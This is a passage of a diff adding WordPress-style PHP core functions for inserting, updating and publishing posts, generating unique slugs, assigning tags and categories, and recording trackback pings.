+		$post_ID = $postarr['ID'];
+		$post_before = get_post( $post_ID );
+		if ( is_null( $post_before ) ) {
+			if ( $wp_error ) {
+				return new WP_Error( 'invalid_post', __( 'Invalid post ID.' ) );
+			}
+			return 0;
+		}
+
+		$guid = get_post_field( 'guid', $post_ID );
+		$previous_status = get_post_field('post_status', $post_ID );
+	} else {
+		$previous_status = 'new';
+	}
+
+	$post_type = empty( $postarr['post_type'] ) ? 'post' : $postarr['post_type'];
+
+	$post_title = $postarr['post_title'];
+	$post_content = $postarr['post_content'];
+	$post_excerpt = $postarr['post_excerpt'];
+	if ( isset( $postarr['post_name'] ) ) {
+		$post_name = $postarr['post_name'];
+	}
+
+	$maybe_empty = 'attachment' !== $post_type
+		&& ! $post_content && ! $post_title && ! $post_excerpt
+		&& post_type_supports( $post_type, 'editor' )
+		&& post_type_supports( $post_type, 'title' )
+		&& post_type_supports( $post_type, 'excerpt' );
+
+	/**
+	 * Filter whether the post should be considered "empty".
+	 *
+	 * The post is considered "empty" if both:
+	 * 1. The post type supports the title, editor, and excerpt fields
+	 * 2. The title, editor, and excerpt fields are all empty
+	 *
+	 * Returning a truthy value to the filter will effectively short-circuit
+	 * the new post being inserted, returning 0. If $wp_error is true, a WP_Error
+	 * will be returned instead.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param bool  $maybe_empty Whether the post should be considered "empty".
+	 * @param array $postarr     Array of post data.
+	 */
+	if ( apply_filters( 'wp_insert_post_empty_content', $maybe_empty, $postarr ) ) {
+		if ( $wp_error ) {
+			return new WP_Error( 'empty_content', __( 'Content, title, and excerpt are empty.' ) );
+		} else {
+			return 0;
+		}
+	}
+
+	$post_status = empty( $postarr['post_status'] ) ? 'draft' : $postarr['post_status'];
+	if ( 'attachment' === $post_type && ! in_array( $post_status, array( 'inherit', 'private', 'trash' ) ) ) {
+		$post_status = 'inherit';
+	}
+
+	if ( ! empty( $postarr['post_category'] ) ) {
+		// Filter out empty terms.
+		$post_category = array_filter( $postarr['post_category'] );
+	}
+
+	// Make sure we set a valid category.
+	if ( empty( $post_category ) || 0 == count( $post_category ) || ! is_array( $post_category ) ) {
+		// 'post' requires at least one category.
+		if ( 'post' == $post_type && 'auto-draft' != $post_status ) {
+			$post_category = array( get_option('default_category') );
+		} else {
+			$post_category = array();
+		}
+	}
+
+	// Don't allow contributors to set the post slug for pending review posts.
+	if ( 'pending' == $post_status && !current_user_can( 'publish_posts' ) ) {
+		$post_name = '';
+	}
+
+	/*
+	 * Create a valid post name. Drafts and pending posts are allowed to have
+	 * an empty post name.
+	 */
+	if ( empty($post_name) ) {
+		if ( !in_array( $post_status, array( 'draft', 'pending', 'auto-draft' ) ) ) {
+			$post_name = sanitize_title($post_title);
+		} else {
+			$post_name = '';
+		}
+	} else {
+		// On updates, we need to check to see if it's using the old, fixed sanitization context.
+		$check_name = sanitize_title( $post_name, '', 'old-save' );
+		if ( $update && strtolower( urlencode( $post_name ) ) == $check_name && get_post_field( 'post_name', $post_ID ) == $check_name ) {
+			$post_name = $check_name;
+		} else { // new post, or slug has changed.
+			$post_name = sanitize_title($post_name);
+		}
+	}
+
+	/*
+	 * If the post date is empty (due to having been new or a draft) and status
+	 * is not 'draft' or 'pending', set date to now.
+	 */
+	if ( empty( $postarr['post_date'] ) || '0000-00-00 00:00:00' == $postarr['post_date'] ) {
+		$post_date = current_time( 'mysql' );
+	} else {
+		$post_date = $postarr['post_date'];
+	}
+
+	// Validate the date.
+	$mm = substr( $post_date, 5, 2 );
+	$jj = substr( $post_date, 8, 2 );
+	$aa = substr( $post_date, 0, 4 );
+	$valid_date = wp_checkdate( $mm, $jj, $aa, $post_date );
+	if ( ! $valid_date ) {
+		if ( $wp_error ) {
+			return new WP_Error( 'invalid_date', __( 'Whoops, the provided date is invalid.' ) );
+		} else {
+			return 0;
+		}
+	}
+
+	if ( empty( $postarr['post_date_gmt'] ) || '0000-00-00 00:00:00' == $postarr['post_date_gmt'] ) {
+		if ( ! in_array( $post_status, array( 'draft', 'pending', 'auto-draft' ) ) ) {
+			$post_date_gmt = get_gmt_from_date( $post_date );
+		} else {
+			$post_date_gmt = '0000-00-00 00:00:00';
+		}
+	} else {
+		$post_date_gmt = $postarr['post_date_gmt'];
+	}
+
+	if ( $update || '0000-00-00 00:00:00' == $post_date ) {
+		$post_modified     = current_time( 'mysql' );
+		$post_modified_gmt = current_time( 'mysql', 1 );
+	} else {
+		$post_modified     = $post_date;
+		$post_modified_gmt = $post_date_gmt;
+	}
+
+	if ( 'attachment' !== $post_type ) {
+		if ( 'publish' == $post_status ) {
+			$now = gmdate('Y-m-d H:i:59');
+			if ( mysql2date('U', $post_date_gmt, false) > mysql2date('U', $now, false) ) {
+				$post_status = 'future';
+			}
+		} elseif( 'future' == $post_status ) {
+			$now = gmdate('Y-m-d H:i:59');
+			if ( mysql2date('U', $post_date_gmt, false) <= mysql2date('U', $now, false) ) {
+				$post_status = 'publish';
+			}
+		}
+	}
+
+	if ( empty( $postarr['comment_status'] ) ) {
+		if ( $update ) {
+			$comment_status = 'closed';
+		} else {
+			$comment_status = get_option('default_comment_status');
+		}
+	} else {
+		$comment_status = $postarr['comment_status'];
+	}
+
+	// These variables are needed by compact() later.
+	$post_content_filtered = $postarr['post_content_filtered'];
+	$post_author = empty( $postarr['post_author'] ) ? $user_id : $postarr['post_author'];
+	$ping_status = empty( $postarr['ping_status'] ) ? get_option( 'default_ping_status' ) : $postarr['ping_status'];
+	$to_ping = isset( $postarr['to_ping'] ) ? sanitize_trackback_urls( $postarr['to_ping'] ) : '';
+	$pinged = isset( $postarr['pinged'] ) ? $postarr['pinged'] : '';
+	$import_id = isset( $postarr['import_id'] ) ? $postarr['import_id'] : 0;
+
+	/*
+	 * The 'wp_insert_post_parent' filter expects all variables to be present.
+	 * Previously, these variables would have already been extracted
+	 */
+	if ( isset( $postarr['menu_order'] ) ) {
+		$menu_order = (int) $postarr['menu_order'];
+	} else {
+		$menu_order = 0;
+	}
+
+	$post_password = isset( $postarr['post_password'] ) ? $postarr['post_password'] : '';
+	if ( 'private' == $post_status ) {
+		$post_password = '';
+	}
+
+	if ( isset( $postarr['post_parent'] ) ) {
+		$post_parent = (int) $postarr['post_parent'];
+	} else {
+		$post_parent = 0;
+	}
+
+	/**
+	 * Filter the post parent -- used to check for and prevent hierarchy loops.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param int   $post_parent Post parent ID.
+	 * @param int   $post_ID     Post ID.
+	 * @param array $new_postarr Array of parsed post data.
+	 * @param array $postarr     Array of sanitized, but otherwise unmodified post data.
+	 */
+	$post_parent = apply_filters( 'wp_insert_post_parent', $post_parent, $post_ID, compact( array_keys( $postarr ) ), $postarr );
+
+	$post_name = wp_unique_post_slug( $post_name, $post_ID, $post_status, $post_type, $post_parent );
+
+	// Don't unslash.
+	$post_mime_type = isset( $postarr['post_mime_type'] ) ? $postarr['post_mime_type'] : '';
+
+	// Expected_slashed (everything!).
+	$data = compact( 'post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_content_filtered', 'post_title', 'post_excerpt', 'post_status', 'post_type', 'comment_status', 'ping_status', 'post_password', 'post_name', 'to_ping', 'pinged', 'post_modified', 'post_modified_gmt', 'post_parent', 'menu_order', 'post_mime_type', 'guid' );
+
+	if ( 'attachment' === $post_type ) {
+		/**
+		 * Filter attachment post data before it is updated in or added to the database.
+		 *
+		 * @since 3.9.0
+		 *
+		 * @param array $data    An array of sanitized attachment post data.
+		 * @param array $postarr An array of unsanitized attachment post data.
+		 */
+		$data = apply_filters( 'wp_insert_attachment_data', $data, $postarr );
+	} else {
+		/**
+		 * Filter slashed post data just before it is inserted into the database.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param array $data    An array of slashed post data.
+		 * @param array $postarr An array of sanitized, but otherwise unmodified post data.
+		 */
+		$data = apply_filters( 'wp_insert_post_data', $data, $postarr );
+	}
+	$data = wp_unslash( $data );
+	$where = array( 'ID' => $post_ID );
+
+	if ( $update ) {
+		/**
+		 * Fires immediately before an existing post is updated in the database.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @param int   $post_ID Post ID.
+		 * @param array $data    Array of unslashed post data.
+		 */
+		do_action( 'pre_post_update', $post_ID, $data );
+		if ( false === $wpdb->update( $wpdb->posts, $data, $where ) ) {
+			if ( $wp_error ) {
+				return new WP_Error('db_update_error', __('Could not update post in the database'), $wpdb->last_error);
+			} else {
+				return 0;
+			}
+		}
+	} else {
+		// If there is a suggested ID, use it if not already present.
+		if ( ! empty( $import_id ) ) {
+			$import_id = (int) $import_id;
+			if ( ! $wpdb->get_var( $wpdb->prepare("SELECT ID FROM $wpdb->posts WHERE ID = %d", $import_id) ) ) {
+				$data['ID'] = $import_id;
+			}
+		}
+		if ( false === $wpdb->insert( $wpdb->posts, $data ) ) {
+			if ( $wp_error ) {
+				return new WP_Error('db_insert_error', __('Could not insert post into the database'), $wpdb->last_error);
+			} else {
+				return 0;
+			}
+		}
+		$post_ID = (int) $wpdb->insert_id;
+
+		// Use the newly generated $post_ID.
+		$where = array( 'ID' => $post_ID );
+	}
+
+	if ( empty( $data['post_name'] ) && ! in_array( $data['post_status'], array( 'draft', 'pending', 'auto-draft' ) ) ) {
+		$data['post_name'] = sanitize_title( $data['post_title'], $post_ID );
+		$wpdb->update( $wpdb->posts, array( 'post_name' => $data['post_name'] ), $where );
+	}
+
+	if ( is_object_in_taxonomy( $post_type, 'category' ) ) {
+		wp_set_post_categories( $post_ID, $post_category );
+	}
+
+	if ( isset( $postarr['tags_input'] ) && is_object_in_taxonomy( $post_type, 'post_tag' ) ) {
+		wp_set_post_tags( $post_ID, $postarr['tags_input'] );
+	}
+
+	// New-style support for all custom taxonomies.
+	if ( ! empty( $postarr['tax_input'] ) ) {
+		foreach ( $postarr['tax_input'] as $taxonomy => $tags ) {
+			$taxonomy_obj = get_taxonomy($taxonomy);
+			// array = hierarchical, string = non-hierarchical.
+			if ( is_array( $tags ) ) {
+				$tags = array_filter($tags);
+			}
+			if ( current_user_can( $taxonomy_obj->cap->assign_terms ) ) {
+				wp_set_post_terms( $post_ID, $tags, $taxonomy );
+			}
+		}
+	}
+
+	$current_guid = get_post_field( 'guid', $post_ID );
+
+	// Set GUID.
+	if ( ! $update && '' == $current_guid ) {
+		$wpdb->update( $wpdb->posts, array( 'guid' => get_permalink( $post_ID ) ), $where );
+	}
+
+	if ( 'attachment' === $postarr['post_type'] ) {
+		if ( ! empty( $postarr['file'] ) ) {
+			update_attached_file( $post_ID, $postarr['file'] );
+		}
+
+		if ( ! empty( $postarr['context'] ) ) {
+			add_post_meta( $post_ID, '_wp_attachment_context', $postarr['context'], true );
+		}
+	}
+
+	clean_post_cache( $post_ID );
+
+	$post = get_post( $post_ID );
+
+	if ( ! empty( $postarr['page_template'] ) && 'page' == $data['post_type'] ) {
+		$post->page_template = $postarr['page_template'];
+		$page_templates = wp_get_theme()->get_page_templates( $post );
+		if ( 'default' != $postarr['page_template'] && ! isset( $page_templates[ $postarr['page_template'] ] ) ) {
+			if ( $wp_error ) {
+				return new WP_Error('invalid_page_template', __('The page template is invalid.'));
+			} else {
+				return 0;
+			}
+		}
+		update_post_meta( $post_ID, '_wp_page_template', $postarr['page_template'] );
+	}
+
+	if ( 'attachment' !== $postarr['post_type'] ) {
+		wp_transition_post_status( $data['post_status'], $previous_status, $post );
+	} else {
+		if ( $update ) {
+			/**
+			 * Fires once an existing attachment has been updated.
+			 *
+			 * @since 2.0.0
+			 *
+			 * @param int $post_ID Attachment ID.
+			 */
+			do_action( 'edit_attachment', $post_ID );
+		} else {
+
+			/**
+			 * Fires once an attachment has been added.
+			 *
+			 * @since 2.0.0
+			 *
+			 * @param int $post_ID Attachment ID.
+			 */
+			do_action( 'add_attachment', $post_ID );
+		}
+
+		return $post_ID;
+	}
+
+	if ( $update ) {
+		/**
+		 * Fires once an existing post has been updated.
+		 *
+		 * @since 1.2.0
+		 *
+		 * @param int     $post_ID Post ID.
+		 * @param WP_Post $post    Post object.
+		 */
+		do_action( 'edit_post', $post_ID, $post );
+		$post_after = get_post($post_ID);
+
+		/**
+		 * Fires once an existing post has been updated.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param int     $post_ID      Post ID.
+		 * @param WP_Post $post_after   Post object following the update.
+		 * @param WP_Post $post_before  Post object before the update.
+		 */
+		do_action( 'post_updated', $post_ID, $post_after, $post_before);
+	}
+
+	/**
+	 * Fires once a post has been saved.
+	 *
+	 * The dynamic portion of the hook name, `$post->post_type`, refers to
+	 * the post type slug.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param int     $post_ID Post ID.
+	 * @param WP_Post $post    Post object.
+	 * @param bool    $update  Whether this is an existing post being updated or not.
+	 */
+	do_action( "save_post_{$post->post_type}", $post_ID, $post, $update );
+
+	/**
+	 * Fires once a post has been saved.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param int     $post_ID Post ID.
+	 * @param WP_Post $post    Post object.
+	 * @param bool    $update  Whether this is an existing post being updated or not.
+	 */
+	do_action( 'save_post', $post_ID, $post, $update );
+
+	/**
+	 * Fires once a post has been saved.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param int     $post_ID Post ID.
+	 * @param WP_Post $post    Post object.
+	 * @param bool    $update  Whether this is an existing post being updated or not.
+	 */
+	do_action( 'wp_insert_post', $post_ID, $post, $update );
+
+	return $post_ID;
+}
+
+/**
+ * Update a post with new post data.
+ *
+ * The date does not have to be set for drafts. You can set the date and it will
+ * not be overridden.
+ *
+ * @since 1.0.0
+ *
+ * @param array|object $postarr  Optional. Post data. Arrays are expected to be escaped,
+ *                               objects are not. Default array.
+ * @param bool         $wp_error Optional. Allow return of WP_Error on failure. Default false.
+ * @return int|WP_Error The value 0 or WP_Error on failure. The post ID on success.
+ */
+function wp_update_post( $postarr = array(), $wp_error = false ) {
+	if ( is_object($postarr) ) {
+		// Non-escaped post was passed.
+		$postarr = get_object_vars($postarr);
+		$postarr = wp_slash($postarr);
+	}
+
+	// First, get all of the original fields.
+	$post = get_post($postarr['ID'], ARRAY_A);
+
+	if ( is_null( $post ) ) {
+		if ( $wp_error )
+			return new WP_Error( 'invalid_post', __( 'Invalid post ID.' ) );
+		return 0;
+	}
+
+	// Escape data pulled from DB.
+	$post = wp_slash($post);
+
+	// Passed post category list overwrites existing category list if not empty.
+	if ( isset($postarr['post_category']) && is_array($postarr['post_category'])
+			 && 0 != count($postarr['post_category']) )
+		$post_cats = $postarr['post_category'];
+	else
+		$post_cats = $post['post_category'];
+
+	// Drafts shouldn't be assigned a date unless explicitly done so by the user.
+	if ( isset( $post['post_status'] ) && in_array($post['post_status'], array('draft', 'pending', 'auto-draft')) && empty($postarr['edit_date']) &&
+			 ('0000-00-00 00:00:00' == $post['post_date_gmt']) )
+		$clear_date = true;
+	else
+		$clear_date = false;
+
+	// Merge old and new fields with new fields overwriting old ones.
+	$postarr = array_merge($post, $postarr);
+	$postarr['post_category'] = $post_cats;
+	if ( $clear_date ) {
+		$postarr['post_date'] = current_time('mysql');
+		$postarr['post_date_gmt'] = '';
+	}
+
+	if ($postarr['post_type'] == 'attachment')
+		return wp_insert_attachment($postarr);
+
+	return wp_insert_post( $postarr, $wp_error );
+}
+
+/**
+ * Publish a post by transitioning the post status.
+ *
+ * @since 2.1.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int|WP_Post $post Post ID or post object.
+ */
+function wp_publish_post( $post ) {
+	global $wpdb;
+
+	if ( ! $post = get_post( $post ) )
+		return;
+
+	if ( 'publish' == $post->post_status )
+		return;
+
+	$wpdb->update( $wpdb->posts, array( 'post_status' => 'publish' ), array( 'ID' => $post->ID ) );
+
+	clean_post_cache( $post->ID );
+
+	$old_status = $post->post_status;
+	$post->post_status = 'publish';
+	wp_transition_post_status( 'publish', $old_status, $post );
+
+	/** This action is documented in wp-includes/post.php */
+	do_action( 'edit_post', $post->ID, $post );
+
+	/** This action is documented in wp-includes/post.php */
+	do_action( "save_post_{$post->post_type}", $post->ID, $post, true );
+
+	/** This action is documented in wp-includes/post.php */
+	do_action( 'save_post', $post->ID, $post, true );
+
+	/** This action is documented in wp-includes/post.php */
+	do_action( 'wp_insert_post', $post->ID, $post, true );
+}
+
+/**
+ * Publish future post and make sure post ID has future post status.
+ *
+ * Invoked by cron 'publish_future_post' event. This safeguard prevents cron
+ * from publishing drafts, etc.
+ *
+ * @since 2.5.0
+ *
+ * @param int|WP_Post $post_id Post ID or post object.
+ * @return null Nothing is returned. Which can mean that no action is required
+ *              or post was published.
+ */
+function check_and_publish_future_post( $post_id ) {
+
+	$post = get_post($post_id);
+
+	if ( empty($post) )
+		return;
+
+	if ( 'future' != $post->post_status )
+		return;
+
+	$time = strtotime( $post->post_date_gmt . ' GMT' );
+
+	// Uh oh, someone jumped the gun!
+	if ( $time > time() ) {
+		wp_clear_scheduled_hook( 'publish_future_post', array( $post_id ) ); // clear anything else in the system
+		wp_schedule_single_event( $time, 'publish_future_post', array( $post_id ) );
+		return;
+	}
+
+	return wp_publish_post($post_id);
+}
+
+/**
+ * Computes a unique slug for the post, when given the desired slug and some post details.
+ *
+ * @since 2.8.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ * @global WP_Rewrite $wp_rewrite
+ *
+ * @param string $slug        The desired slug (post_name).
+ * @param int    $post_ID     Post ID.
+ * @param string $post_status No uniqueness checks are made if the post is still draft or pending.
+ * @param string $post_type   Post type.
+ * @param int    $post_parent Post parent ID.
+ * @return string Unique slug for the post, based on $post_name (with a -1, -2, etc. suffix)
+ */
+function wp_unique_post_slug( $slug, $post_ID, $post_status, $post_type, $post_parent ) {
+	if ( in_array( $post_status, array( 'draft', 'pending', 'auto-draft' ) ) || ( 'inherit' == $post_status && 'revision' == $post_type ) )
+		return $slug;
+
+	global $wpdb, $wp_rewrite;
+
+	$original_slug = $slug;
+
+	$feeds = $wp_rewrite->feeds;
+	if ( ! is_array( $feeds ) )
+		$feeds = array();
+
+	if ( 'attachment' == $post_type ) {
+		// Attachment slugs must be unique across all types.
+		$check_sql = "SELECT post_name FROM $wpdb->posts WHERE post_name = %s AND ID != %d LIMIT 1";
+		$post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $slug, $post_ID ) );
+
+		/**
+		 * Filter whether the post slug would make a bad attachment slug.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param bool   $bad_slug Whether the slug would be bad as an attachment slug.
+		 * @param string $slug     The post slug.
+		 */
+		if ( $post_name_check || in_array( $slug, $feeds ) || apply_filters( 'wp_unique_post_slug_is_bad_attachment_slug', false, $slug ) ) {
+			$suffix = 2;
+			do {
+				$alt_post_name = _truncate_post_slug( $slug, 200 - ( strlen( $suffix ) + 1 ) ) . "-$suffix";
+				$post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $alt_post_name, $post_ID ) );
+				$suffix++;
+			} while ( $post_name_check );
+			$slug = $alt_post_name;
+		}
+	} elseif ( is_post_type_hierarchical( $post_type ) ) {
+		if ( 'nav_menu_item' == $post_type )
+			return $slug;
+
+		/*
+		 * Page slugs must be unique within their own trees. Pages are in a separate
+		 * namespace than posts so page slugs are allowed to overlap post slugs.
+		 */
+		$check_sql = "SELECT post_name FROM $wpdb->posts WHERE post_name = %s AND post_type IN ( %s, 'attachment' ) AND ID != %d AND post_parent = %d LIMIT 1";
+		$post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $slug, $post_type, $post_ID, $post_parent ) );
+
+		/**
+		 * Filter whether the post slug would make a bad hierarchical post slug.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param bool   $bad_slug    Whether the post slug would be bad in a hierarchical post context.
+		 * @param string $slug        The post slug.
+		 * @param string $post_type   Post type.
+		 * @param int    $post_parent Post parent ID.
+		 */
+		if ( $post_name_check || in_array( $slug, $feeds ) || preg_match( "@^($wp_rewrite->pagination_base)?\d+$@", $slug )  || apply_filters( 'wp_unique_post_slug_is_bad_hierarchical_slug', false, $slug, $post_type, $post_parent ) ) {
+			$suffix = 2;
+			do {
+				$alt_post_name = _truncate_post_slug( $slug, 200 - ( strlen( $suffix ) + 1 ) ) . "-$suffix";
+				$post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $alt_post_name, $post_type, $post_ID, $post_parent ) );
+				$suffix++;
+			} while ( $post_name_check );
+			$slug = $alt_post_name;
+		}
+	} else {
+		// Post slugs must be unique across all posts.
+		$check_sql = "SELECT post_name FROM $wpdb->posts WHERE post_name = %s AND post_type = %s AND ID != %d LIMIT 1";
+		$post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $slug, $post_type, $post_ID ) );
+
+		/**
+		 * Filter whether the post slug would be bad as a flat slug.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param bool   $bad_slug  Whether the post slug would be bad as a flat slug.
+		 * @param string $slug      The post slug.
+		 * @param string $post_type Post type.
+		 */
+		if ( $post_name_check || in_array( $slug, $feeds ) || apply_filters( 'wp_unique_post_slug_is_bad_flat_slug', false, $slug, $post_type ) ) {
+			$suffix = 2;
+			do {
+				$alt_post_name = _truncate_post_slug( $slug, 200 - ( strlen( $suffix ) + 1 ) ) . "-$suffix";
+				$post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $alt_post_name, $post_type, $post_ID ) );
+				$suffix++;
+			} while ( $post_name_check );
+			$slug = $alt_post_name;
+		}
+	}
+
+	/**
+	 * Filter the unique post slug.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param string $slug          The post slug.
+	 * @param int    $post_ID       Post ID.
+	 * @param string $post_status   The post status.
+	 * @param string $post_type     Post type.
+	 * @param int    $post_parent   Post parent ID
+	 * @param string $original_slug The original post slug.
+	 */
+	return apply_filters( 'wp_unique_post_slug', $slug, $post_ID, $post_status, $post_type, $post_parent, $original_slug );
+}
+
+/**
+ * Truncate a post slug.
+ *
+ * @since 3.6.0
+ * @access private
+ *
+ * @see utf8_uri_encode()
+ *
+ * @param string $slug   The slug to truncate.
+ * @param int    $length Optional. Max length of the slug. Default 200 (characters).
+ * @return string The truncated slug.
+ */
+function _truncate_post_slug( $slug, $length = 200 ) {
+	if ( strlen( $slug ) > $length ) {
+		$decoded_slug = urldecode( $slug );
+		if ( $decoded_slug === $slug )
+			$slug = substr( $slug, 0, $length );
+		else
+			$slug = utf8_uri_encode( $decoded_slug, $length );
+	}
+
+	return rtrim( $slug, '-' );
+}
+
+/**
+ * Add tags to a post.
+ *
+ * @see wp_set_post_tags()
+ *
+ * @since 2.3.0
+ *
+ * @param int    $post_id Optional. The Post ID. Does not default to the ID of the global $post.
+ *                        Default 0.
+ * @param string $tags    Optional. The tags to set for the post, separated by commas. Default empty.
+ * @return bool|null Will return false if $post_id is not an integer or is 0. Will return null otherwise.
+ */
+function wp_add_post_tags( $post_id = 0, $tags = '' ) {
+	return wp_set_post_tags($post_id, $tags, true);
+}
+
+/**
+ * Set the tags for a post.
+ *
+ * @since 2.3.0
+ *
+ * @see wp_set_object_terms()
+ *
+ * @param int    $post_id Optional. The Post ID. Does not default to the ID of the global $post.
+ * @param string $tags    Optional. The tags to set for the post, separated by commas.
+ *                        Default empty.
+ * @param bool   $append  Optional. If true, don't delete existing tags, just add on. If false,
+ *                        replace the tags with the new tags. Default false.
+ * @return mixed Array of affected term IDs. WP_Error or false on failure.
+ */
+function wp_set_post_tags( $post_id = 0, $tags = '', $append = false ) {
+	return wp_set_post_terms( $post_id, $tags, 'post_tag', $append);
+}
+
+/**
+ * Set the terms for a post.
+ *
+ * @since 2.8.0
+ *
+ * @see wp_set_object_terms()
+ *
+ * @param int    $post_id  Optional. The Post ID. Does not default to the ID of the global $post.
+ * @param string $tags     Optional. The tags to set for the post, separated by commas. Default empty.
+ * @param string $taxonomy Optional. Taxonomy name. Default 'post_tag'.
+ * @param bool   $append   Optional. If true, don't delete existing tags, just add on. If false,
+ *                         replace the tags with the new tags. Default false.
+ * @return mixed Array of affected term IDs. WP_Error or false on failure.
+ */
+function wp_set_post_terms( $post_id = 0, $tags = '', $taxonomy = 'post_tag', $append = false ) {
+	$post_id = (int) $post_id;
+
+	if ( !$post_id )
+		return false;
+
+	if ( empty($tags) )
+		$tags = array();
+
+	if ( ! is_array( $tags ) ) {
+		$comma = _x( ',', 'tag delimiter' );
+		if ( ',' !== $comma )
+			$tags = str_replace( $comma, ',', $tags );
+		$tags = explode( ',', trim( $tags, " \n\t\r\0\x0B," ) );
+	}
+
+	/*
+	 * Hierarchical taxonomies must always pass IDs rather than names so that
+	 * children with the same names but different parents aren't confused.
+	 */
+	if ( is_taxonomy_hierarchical( $taxonomy ) ) {
+		$tags = array_unique( array_map( 'intval', $tags ) );
+	}
+
+	return wp_set_object_terms( $post_id, $tags, $taxonomy, $append );
+}
+
+/**
+ * Set categories for a post.
+ *
+ * If the post categories parameter is not set, then the default category is
+ * going used.
+ *
+ * @since 2.1.0
+ *
+ * @param int       $post_ID         Optional. The Post ID. Does not default to the ID
+ *                                   of the global $post. Default 0.
+ * @param array|int $post_categories Optional. List of categories or ID of category.
+ *                                   Default empty array.
+ * @param bool      $append         If true, don't delete existing categories, just add on.
+ *                                  If false, replace the categories with the new categories.
+ * @return bool|mixed
+ */
+function wp_set_post_categories( $post_ID = 0, $post_categories = array(), $append = false ) {
+	$post_ID = (int) $post_ID;
+	$post_type = get_post_type( $post_ID );
+	$post_status = get_post_status( $post_ID );
+	// If $post_categories isn't already an array, make it one:
+	$post_categories = (array) $post_categories;
+	if ( empty( $post_categories ) ) {
+		if ( 'post' == $post_type && 'auto-draft' != $post_status ) {
+			$post_categories = array( get_option('default_category') );
+			$append = false;
+		} else {
+			$post_categories = array();
+		}
+	} else if ( 1 == count($post_categories) && '' == reset($post_categories) ) {
+		return true;
+	}
+
+	return wp_set_post_terms( $post_ID, $post_categories, 'category', $append );
+}
+
+/**
+ * Transition the post status of a post.
+ *
+ * Calls hooks to transition post status.
+ *
+ * The first is 'transition_post_status' with new status, old status, and post data.
+ *
+ * The next action called is 'OLDSTATUS_to_NEWSTATUS' the 'NEWSTATUS' is the
+ * $new_status parameter and the 'OLDSTATUS' is $old_status parameter; it has the
+ * post data.
+ *
+ * The final action is named 'NEWSTATUS_POSTTYPE', 'NEWSTATUS' is from the $new_status
+ * parameter and POSTTYPE is post_type post data.
+ *
+ * @since 2.3.0
+ *
+ * @param string  $new_status Transition to this post status.
+ * @param string  $old_status Previous post status.
+ * @param WP_Post $post Post data.
+ */
+function wp_transition_post_status( $new_status, $old_status, $post ) {
+	/**
+	 * Fires when a post is transitioned from one status to another.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string  $new_status New post status.
+	 * @param string  $old_status Old post status.
+	 * @param WP_Post $post       Post object.
+	 */
+	do_action( 'transition_post_status', $new_status, $old_status, $post );
+
+	/**
+	 * Fires when a post is transitioned from one status to another.
+	 *
+	 * The dynamic portions of the hook name, `$new_status` and `$old status`,
+	 * refer to the old and new post statuses, respectively.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param WP_Post $post Post object.
+	 */
+	do_action( "{$old_status}_to_{$new_status}", $post );
+
+	/**
+	 * Fires when a post is transitioned from one status to another.
+	 *
+	 * The dynamic portions of the hook name, `$new_status` and `$post->post_type`,
+	 * refer to the new post status and post type, respectively.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param int     $post_id Post ID.
+	 * @param WP_Post $post    Post object.
+	 */
+	do_action( "{$new_status}_{$post->post_type}", $post->ID, $post );
+}
+
+//
+// Trackback and ping functions
+//
+
+/**
+ * Add a URL to those already pinged.
+ *
+ * @since 1.5.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int    $post_id Post ID.
+ * @param string $uri     Ping URI.
+ * @return int How many rows were updated.
+ */
+function add_ping( $post_id, $uri ) {
+	global $wpdb;
+	$pung = $wpdb->get_var( $wpdb->prepare( "SELECT pinged FROM $wpdb->posts WHERE ID = %d", $post_id ));
+	$pung = trim($pung);
+	$pung = preg_split('/\s/', $pung);
+	$pung[] = $uri;
+	$new = implode("\n", $pung);
+
+	/**
+	 * Filter the new ping URL to add for the given post.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param string $new New ping URL to add.
+	 */
+	$new = apply_filters( 'add_ping', $new );
+
+	// expected_slashed ($new).
+	$new = wp_unslash($new);
+	return $wpdb->update( $wpdb->posts, array( 'pinged' => $new ), array( 'ID' => $post_id ) );
+}
+
+/**
+ * Retrieve enclosures already enclosed for a post.
+ *
+ * @since 1.5.0
+ *
+ * @param int $post_id Post ID.
+ * @return array List of enclosures.
+ */
+function get_enclosed( $post_id ) {
+	$custom_fields = get_post_custom( $post_id );
+	$pung = array();
+	if ( !is_array( $custom_fields ) )
+		return $pung;
+
+	foreach ( $custom_fields as $key => $val ) {
+		if ( 'enclosure' != $key || !is_array( $val ) )
+			continue;
+		foreach( $val as $enc ) {
+			$enclosure = explode( "\n", $enc );
+			$pung[] = trim( $enclosure[ 0 ] );
+		}
+	}
+
+	/**
+	 * Filter the list of enclosures already enclosed for the given post.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param array $pung    Array of enclosures for the given post.
+	 * @param int   $post_id Post ID.
+	 */
+	$pung = apply_filters( 'get_enclosed', $pung, $post_id );
+	return $pung;
+}
+
+/**
+ * Retrieve URLs already pinged for a post.
+ *
+ * @since 1.5.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int $post_id Post ID.
+ * @return array
+ */
+function get_pung( $post_id ) {
+	global $wpdb;
+	$pung = $wpdb->get_var( $wpdb->prepare( "SELECT pinged FROM $wpdb->posts WHERE ID = %d", $post_id ));
+	$pung = trim($pung);
